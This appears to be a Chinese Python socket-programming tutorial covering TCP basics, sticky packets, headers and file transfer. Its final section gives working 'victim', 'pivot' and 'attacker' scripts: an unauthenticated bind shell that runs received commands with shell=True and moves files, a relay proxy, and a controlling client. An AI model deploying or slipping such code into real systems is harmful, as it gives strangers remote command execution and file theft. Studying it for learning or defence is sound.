TCP连接
一、最简单的TCP连接
1、服务端
import socket
# 1、建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 2、绑定IP端口
server.bind(('127.0.0.1',7777))
# 3、最大连接数
server.listen(5)
# 4、等待连接,conn为连接对象,client_addr为客户端的IP和端口,对应客户端第二步
conn,client_addr = server.accept()
# 5、收消息,最大接收1024个字节
data = conn.recv(1024)
print(f'客户端的数据:{data}')
# 6、发消息,将发送过来的数据大写发回去
conn.send(data.upper())
# 7、关闭连接
conn.close()
# 8、关闭socket对象
server.close()
2、客户端
import socket
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务端
client.connect(('127.0.0.1', 7777))
#发消息
client.send('hello'.encode('utf-8'))
#收消息
data = client.recv(1024)
print(data)
#关闭socket对象
client.close()
二、 通信循环
1、服务端
import socket
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定IP端口
server.bind(('127.0.0.1',7777))
# 最大连接数
server.listen(5)
# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()
while True:
#收消息
data = conn.recv(1024)
print(f'客户端的数据:{data}')
#发消息
conn.send(data.upper())
#关闭连接
conn.close()
#关闭socket对象
server.close()
2、客户端
import socket
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务端
client.connect(('127.0.0.1', 7777))
while True:
msg = input('>>: ').strip()
#发消息
client.send(msg.encode('utf-8'))
#收消息
data = client.recv(1024)
print(data)
#关闭socket对象
client.close()
三、存在两个bug
正常发送消息流程为:
客户端:本机应用层客户端发送数据到本机操作系统内存中,操作系统接收数据后,进行协议封装,调用网卡,发送数据
服务端:数据会到达服务端操作系统内存中,服务端客户端recv让操作系统调用网卡接收数据,从而完成一次数据的传输
-
如果客户端发送一个空,会导致卡死,原因就是客户端发送为空,但是客户端操作系统没收到任何东西,导致客户端操作系统没有发送数据,服务端一直卡在收消息这步,然后客户端这边没收到消息,然后就会卡死
-
客户端单方面终止程序,在windows下服务端会报错,在linux下会使服务端产生死循环
1、服务端
import socket
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))
# 最大连接数
server.listen(5)
# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()
while True:
try:
#收消息
data = conn.recv(1024)
if not data:break
print(f'客户端的数据:{data}')
#发消息
conn.send(data.upper())
except ConnectionResetError:
break
#关闭连接
conn.close()
#关闭socket对象
server.close()
2、客户端
import socket
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务端
client.connect(('127.0.0.1', 7777))
while True:
msg = input('>>: ').strip()
if not msg:continue
#发消息
client.send(msg.encode('utf-8'))
#收消息
data = client.recv(1024)
print(data)
#关闭socket对象
client.close()
四、模拟ssh远程执行命令
1、服务端
import socket,subprocess
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))
# 最大连接数
server.listen(5)
# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()
while True:
try:
#收消息
data = conn.recv(1024)
if not data:break
obj = subprocess.Popen(data.decode('utf-8'), shell=True,
stdout = subprocess.PIPE,
stderr = subprocess.PIPE)
stdout = obj.stdout.read()
stderr = obj.stderr.read()
#发消息
conn.send(stdout+stderr)
except ConnectionResetError:
break
#关闭连接
conn.close()
#关闭socket对象
server.close()
2、客户端
import socket
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务端
client.connect(('127.0.0.1', 7777))
while True:
msg = input('>>: ').strip()
if not msg:continue
#发消息
client.send(msg.encode('utf-8'))
#收消息
data = client.recv(1024)
print(data.decode('gbk'))
#关闭socket对象
client.close()
3、存在粘包现象(管道中存留上次传输没有接收完的数据),导致执行命令返回的结果不同步,还有传输时需要编码对应
五、TCP访问流程
1、应用层客户端发送数据到传输层操作系统,send就结束了,余下的由操作系统根据协议发送数据到服务端,服务端recv直接调用不了网卡,控制操作系统收到数据,收到了将数据保存到操作系统内存中,然后再拷贝到服务端中
2、客户端发送只有一个步骤,时间短,服务端接收有两步,受硬件和网络传输影响,时间长
3、不是一个send对应一个recv,TCP有优化算法,会将时间间隔较短且数据较小的数据合并成一个数据进行发送
- 服务端
点击查看代码
import socket
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))
# 最大连接数
server.listen(5)
# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()
data1 = conn.recv(1024)
print(data1)
data2 = conn.recv(1024)
print(data2)
- 客户端,会造成客户端发送的数据粘包
点击查看代码
import socket
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 7777))
client.send('hello'.encode('utf-8'))
client.send('word'.encode('utf-8'))
- 服务端代码不变,客户端发送数据睡五秒,客户端发送数据不粘包
点击查看代码
import socket,time
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 7777))
client.send('hello'.encode('utf-8'))
time.sleep(5)
client.send('word'.encode('utf-8'))
- 服务端粘包
服务端:
点击查看代码
import socket,time
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
server.bind(('127.0.0.1',7777))
server.listen(5)
conn,client_addr = server.accept()
data1 = conn.recv(1)
print(data1)
time.sleep(6)
data2 = conn.recv(1024)
print(data2)
客户端:
点击查看代码
import socket,time
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 7777))
client.send('hello'.encode('utf-8'))
time.sleep(5)
client.send('word'.encode('utf-8'))
五、解决粘包问题传输服务端
1、制作报头字典(一些描述信息,如:文件名,md5,文件大小)
2、将报头字典json化(因为最后传输是二进制,先将字典转换字符串,在编码成为二进制)
3、将json化报头用struct.pack打包成一个固定的大小,就是报头大小,发送给客户端
4、发送报头
5、发送真实数据
点击查看代码
import socket,subprocess,struct,json
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))
# 最大连接数
server.listen(5)
# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()
while True:
try:
#收消息
data = conn.recv(1024)
if not data:break
obj = subprocess.Popen(data.decode('utf-8'), shell=True,
stdout = subprocess.PIPE,
stderr = subprocess.PIPE)
stdout = obj.stdout.read()
stderr = obj.stderr.read()
# 第一步
header_dic = {
'total_size' : len(stdout) + len(stderr)
}
#第二步
header_bytes = json.dumps(header_dic).encode('utf-8')
#第三步
conn.send(struct.pack('i',len(header_bytes)))
#第四步
conn.send(header_bytes)
#第五步
conn.send(stdout)
conn.send(stderr)
except ConnectionResetError:
break
#关闭连接
conn.close()
#关闭socket对象
server.close()
六、解决粘包问题传输客户端
1、接收报头长度
2、再接收报头
3、从报头中解析出真实的描述信息,如文件大小
4、接收真实数据
点击查看代码
import socket,struct,json
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务端
client.connect(('127.0.0.1', 7777))
while True:
msg = input('>>: ').strip()
if not msg:continue
#发消息
client.send(msg.encode('utf-8'))
#第一步
obj = client.recv(4)
header_size = struct.unpack('i',obj)[0]
#第二步
header_bytes = client.recv(header_size)
#第三步
header_json = header_bytes.decode('utf-8')
header_dic = json.loads(header_json)
total_size = header_dic['total_size']
recv_size = 0
recv_data = b''
while recv_size < total_size:
res = client.recv(1024)
recv_data += res
recv_size += len(res)
print(recv_data.decode('gbk'))
#关闭socket对象
client.close()
七、上传下载
1、下载服务端
- 接收客户端传过来的命令
- 解析文件名
- 以读的方式打开文件
- 制作固定报头(其他的都一样)
- 发送真实数据修改成文件数据
点击查看代码
import socket,subprocess,struct,json,os
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))
# 最大连接数
server.listen(5)
# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()
while True:
try:
#收消息
data = conn.recv(1024)
if not data:break
cmds = data.decode('utf-8').split()
filename = cmds[1]
#
header_dic = {
'filename' : filename,
'file_size' : os.path.getsize(f'./{filename}')
}
header_bytes = json.dumps(header_dic).encode('utf-8')
conn.send(struct.pack('i',len(header_bytes)))
conn.send(header_bytes)
with open(f'./{filename}', 'rb') as f:
for line in f:
conn.send(line)
except ConnectionResetError:
break
#关闭连接
conn.close()
#关闭socket对象
server.close()
2、下载客户端
- 获取报头中的文件名
- 以写的方式打开文件
- 接收真实数据,写入文件中
点击查看代码
import socket,struct,json,os
#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务端
client.connect(('127.0.0.1', 7777))
while True:
msg = input('>>: ').strip()
if not msg:continue
#发消息
client.send(msg.encode('utf-8'))
#第一步
obj = client.recv(4)
header_size = struct.unpack('i',obj)[0]
#第二步
header_bytes = client.recv(header_size)
#第三步
header_json = header_bytes.decode('utf-8')
header_dic = json.loads(header_json)
file_size = header_dic['file_size']
filename = header_dic['filename']
with open(f'./{filename}','wb') as f:
recv_size = 0
while recv_size < file_size:
line = client.recv(1024)
f.write(line)
recv_size += len(line)
print(f'总大小:{file_size} 已下载:{recv_size}')
#关闭socket对象
client.close()
八、简易版TCP连接
1、服务端
import socket
import threading
bind_ip = "127.0.0.1"
bind_port = 7777
# 建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定IP端口
server.bind((bind_ip,bind_port))
# 最大连接数
server.listen(5)
#打印监听端口
print(f'listening on {bind_ip}:{bind_port}')
def handle_client(client_socket):
request = client_socket.recv(1024).decode('utf-8')
print(request)
client_socket.send("ACK!".encode('utf-8'))
client_socket.close()
while True:
# 等待连接,client为连接对象,client_addr为客户端的IP和端口
client,client_addr = server.accept()
print(f'客户端对象:{client},IP:{client_addr}')
#多线程
client_handler = threading.Thread(target = handle_client,args=(client,))
client_handler.start()
# 8、关闭socket对象
server.close()
2、客户端
import socket
bind_ip = "127.0.0.1"
bind_port = 7777
# 建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定IP端口
client.connect((bind_ip,bind_port))
client.send("hello".encode('gbk'))
response = client.recv(1024).decode('utf-8')
print(response)
九、TCP代理完整版
1、受害机
import socket,struct,json,subprocess,os
class My_Tcp_Server:
address_family = socket.AF_INET
socket_type = socket.SOCK_STREAM
allow_reuse_addresss = False
max_packet_size = 1024
coding = 'utf-8'
request_queue_size = 5
server_dir = './'
# 初始化
def __init__(self, server_address, bind_and_activate = True):
# 本机IP
self.server_address = server_address
# 建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
self.socket = socket.socket(self.address_family,self.socket_type)
if bind_and_activate:
try:
# 绑定端口IP
self.server_bind()
self.server_activate()
except:
self.server_close()
raise
def server_bind(self):
if self.allow_reuse_addresss:
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定端口IP
self.socket.bind(self.server_address)
self.socket_address = self.socket.getsockname()
# 最大连接数
def server_activate(self):
self.socket.listen(self.request_queue_size)
# 关闭socket对象
def server_close(self):
self.socket.close()
# 等待连接,会返回对象和客户端的IP跟端口
def get_request(self):
return self.socket.accept()
# 关闭连接
def close_request(self,requet):
requet.close()
# 报头序列化打包发送
def json_struct(self, head_dic):
head_json = json.dumps(head_dic)
head_json_bytes = bytes(head_json, encoding=self.coding)
head_struct = struct.pack('i', len(head_json_bytes))
self.conn.send(head_struct)
self.conn.send(head_json_bytes)
def run(self):
while True:
# 一个对象和客户端的IP跟端口
self.conn,self.client_add = self.get_request()
print('from client ',self.client_add)
while True:
try:
# 接收攻击机发过来的命令
head_struct =self.conn.recv(4)
# 判断命令是否为空
if not head_struct:break
# 反序列化报文解析命令
head_len = struct.unpack('i',head_struct)[0]
head_json = self.conn.recv(head_len).decode(self.coding)
head_dic = json.loads(head_json)
# 获取命令
cmd_type = head_dic['cmd']
if cmd_type in ['put', 'download']:
# self是否存cmd_type这个属性
if hasattr(self,cmd_type):
# 函数名存在就返回函数名,不存在就触发异常
func = getattr(self,cmd_type)
# 调用相关函数
func(head_dic)
else:
self.cmd(cmd_type)
except Exception:
break
# 关闭连接
self.close_request(self.conn)
def cmd(self, args):
obj = subprocess.Popen(args, shell=True,
text=True,
stdout = subprocess.PIPE,
stderr = subprocess.PIPE
)
stdout = obj.stdout.read().encode(self.coding)
stderr = obj.stderr.read().encode(self.coding)
header_dic = {
'size': len(stdout) + len(stderr)
}
self.json_struct(header_dic)
self.conn.send(stdout)
self.conn.send(stderr)
# 上传
def put(self, args):
# 获取要上传的文件
filename = args['filename']
# 判断文件是否存在
if not os.path.isfile(filename):
head_dic = {'error':'文件不存在'}
self.json_struct(head_dic)
return
else:
# 获取要上传的文件大小
filesize = os.path.getsize(filename)
# 将要上传的将文件描述信息制作成字典
head_dic = {'filename': os.path.basename(filename), 'filesize': filesize}
# 发送报头
self.json_struct(head_dic)
# 以读的方式打开文件
with open(filename, 'rb') as f:
for line in f:
# 发送文件数据
self.conn.send(line)
# 下载文件
def download(self,args):
# 文件保存地址
file_path = os.path.normpath(os.path.join(
self.server_dir,
args['filename']
))
# 获取文件大小
filesize = args['filesize']
# 用来判断文件传输完成没
recv_size = 0
print('------>',file_path)
# 以写的方式打开文件
with open(file_path,'wb') as f:
# 下载的文件数据小于文件大小就执行
while recv_size < filesize:
# 接收发过来的数据,以最大1024个字节为准
recv_data = self.conn.recv(self.max_packet_size)
# 写入数据
f.write(recv_data)
# 用来判断文件传输完成没
recv_size += len(recv_data)
Tcp_server = My_Tcp_Server(('0.0.0.0',8080))
Tcp_server.run()
2、跳板机
# coding:utf8
# 创建一个 TCP 代理
import sys
import socket
import threading
def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 跳板机监听的 host和端口
server.bind((local_host, local_port))
except Exception:
print(f'监听本地端口失败{local_host}:{local_port}')
sys.exit(0)
print(f'[*]Listening on{local_host}:{local_port}')
#开始监听TCP传入连接
server.listen(5)
while True:
# 获取攻击机请求过来的数据,client_socket为跳板机与攻击机连接的socket对象
client_socket, addr = server.accept()
# 打印出本地客户端连接的信息
print(f'连接成功,攻击机 {addr[0]}:{addr[1]}')
# 开启一个线程 与 受害机通信
proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))
proxy_thread.start()
# 十六进制转储的函数
def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, str) else 2
for i in range(0, len(src), length):
s = src[i:i+length]
hexa = b' ' . join(["%0*X" % (digits, ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append(b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text))
print(b'\n'.join(result))
# 接收攻击机或受害机发送的数据
def receive_from(connection):
print('开始接收数据')
# 用来存储接收的数据
buffer = b""
# 我们设置了两秒的超时, 这取决于目标的情况, 可能需要调整
connection.settimeout(2)
try:
# 持续从缓存中读取数据直到没有数据或者超时
while True:
data = connection.recv(4096)
print(f'接收的数据是 {data}')
if not data:
print('接收完了')
break
buffer += data
except Exception as e:
print('error for receive_from')
print(e)
return buffer
# 对目标是远程主机的请求进行修改
def request_handler(buffer):
#执行包修改
return buffer
# 对目标是本地主机的响应进行修改
def response_handler(buffer):
#执行包修改
return buffer
def proxy_handler(client_socket, remote_host, remote_port, receive_first):
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print(f'正在连接 {remote_host}:{remote_port}')
# 连接受害机,remote_socket为跳板机与受害机连接对象
remote_socket.connect((remote_host, remote_port))
# 如果必要从受害机接收数据
if receive_first:
# 接收受害机传输过来的数据
remote_buffer = receive_from(remote_socket)
#hexdump(remote_buffer)
# 发送给我们的响应处理
remote_buffer = response_handler(remote_buffer)
# 如果我们有数据就传递给攻击机,发送它
if len(remote_buffer):
print(f'[<==] Sending {len(remote_buffer)} bytes to localhost')
client_socket.send(remote_buffer)
# 现在我们从本地循环读取数据, 发送给受害机和攻击机
while True:
# 接收攻击机发送过来的数据
local_buffer = receive_from(client_socket)
print(f'接收攻击机数据 {local_buffer}')
# 如果攻击机发送数据,就转发
if len(local_buffer):
print(f'攻击机发送{len(local_buffer)}字节')
#hexdump(local_buffer)
# 这里可以改变我们请求的数据 过滤等功能
local_buffer = request_handler(local_buffer)
# 将攻击机发送的数据转发给受害机
remote_socket.send(local_buffer)
print('正在向受害机发送数据')
# 接收受害机发送过来的数据
remote_buffer = receive_from(remote_socket)
# 如果受害机发送数据就转发
if len(remote_buffer):
print(f'受害机发送 {len(remote_buffer)}字节')
#hexdump(remote_buffer)
# 发送到响应处理函数
remote_buffer = response_handler(remote_buffer)
# 将受害机发送的数据转发给攻击机
client_socket.send(remote_buffer)
def main():
if len(sys.argv[1:]) != 5:
# print "Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"
# print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
sys.exit(0)
# 设置本地监听参数
local_host = sys.argv[1]
local_port = int(sys.argv[2])
# 设置远程目标
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
# 告诉代理在发送给远程主机之前连接和接受数据
receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True
else:
receive_first = False
# 设置好我们的监听 socket
server_loop(local_host, local_port, remote_host, remote_port, receive_first)
main()
3、攻击机
import socket,struct,json,os
class My_Tcp_Client:
address_family = socket.AF_INET
socket_type = socket.SOCK_STREAM
allow_reuse_addresss = False
max_packet_size = 1024
coding = 'utf-8'
server_dir = './'
#初始化
def __init__(self, server_address, connect = True):
# 受害机的IP
self.server_address = server_address
# 建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
self.socket = socket.socket(self.address_family,self.socket_type)
if connect:
try:
self.client_connect()
except:
self.client_close()
raise
# 连接受害机
def client_connect(self):
self.socket.connect(self.server_address)
# 关闭socket对象
def server_close(self):
self.socket.close()
# 报头序列化打包发送
def json_struct(self, head_dic):
head_json = json.dumps(head_dic)
head_json_bytes = bytes(head_json, encoding=self.coding)
head_struct = struct.pack('i', len(head_json_bytes))
self.socket.send(head_struct)
self.socket.send(head_json_bytes)
def run(self):
while True:
while True:
# 接收命令参数
msg = input(">>>:").strip()
# 判断输入是否为空
if not msg:continue
l = msg.split()
# 获取命令类型
cmd_type = l[0]
if cmd_type in ['put','download']:
if hasattr(self,cmd_type):
func = getattr(self,cmd_type)
func(l)
else:
self.cmd(msg)
def cmd(self,args):
head_dic ={'cmd':args}
self.json_struct(head_dic)
# 接收要下载文件描述信息
head_struct = self.socket.recv(4)
head_len = struct.unpack('i', head_struct)[0]
head_json = self.socket.recv(head_len).decode(self.coding)
head_dic = json.loads(head_json)
size = head_dic['size']
recv_size = 0
recv_data = b''
while recv_size < size:
res = self.socket.recv(self.max_packet_size)
recv_data += res
recv_size += len(res)
print(recv_data.decode('utf-8').strip())
# 上传
def put(self,args):
# 我们上传对应对面下载函数
cmd = args[0] if args[0] != 'put' else 'download'
# 上传文件
filename = args[1]
# 判断文件是否存在
if not os.path.isfile(filename):
print(f'file:{filename} is not exists')
return
else:
# 获取文件大小
filesize = os.path.getsize(filename)
# 将文件描述信息制作成字典
head_dic = {'cmd':cmd, 'filename':os.path.basename(filename),'filesize':filesize}
# 将字典序列化打包发送受害机
self.json_struct(head_dic)
# 上传文件
with open(filename, 'rb') as f:
for line in f:
self.socket.send(line)
# 下载文件
def download(self,args):
# 下载对应着对面上传函数
cmd = args[0] if args[0] != 'download' else 'put'
# 将要下载的文件命令制作成字典
head_dic = {'cmd':cmd, 'filename':args[1]}
# 将字典序列化打包发送受害机
self.json_struct(head_dic)
# 接收要下载文件描述信息
head_struct = self.socket.recv(4)
head_len = struct.unpack('i', head_struct)[0]
head_json = self.socket.recv(head_len).decode(self.coding)
head_dic = json.loads(head_json)
# 判断发送过来的是正确的文件描述信息还是报错信息
if 'error' in head_dic:
print(head_dic['error'])
return
# 下载到本地的哪个位置
file_path = os.path.normpath(os.path.join(
self.server_dir,
head_dic['filename']
))
# 获取下载的文件大小信息
filesize = head_dic['filesize']
recv_size = 0
print('------>', file_path)
# 以写打开文件
with open(file_path, 'wb') as f:
# 循环下载文件数据
while recv_size < filesize:
# 接收发过来的数据,以最大1024个字节为准
recv_data = self.socket.recv(self.max_packet_size)
# 将下载下来的数据写入本地中
f.write(recv_data)
# 用来判断是否下载完
recv_size += len(recv_data)
# 打印下载进度
print(f'recvsize:{recv_size} , filesize:{filesize}')
Tcp_Client = My_Tcp_Client(('192.168.223.128',7777))
Tcp_Client.run()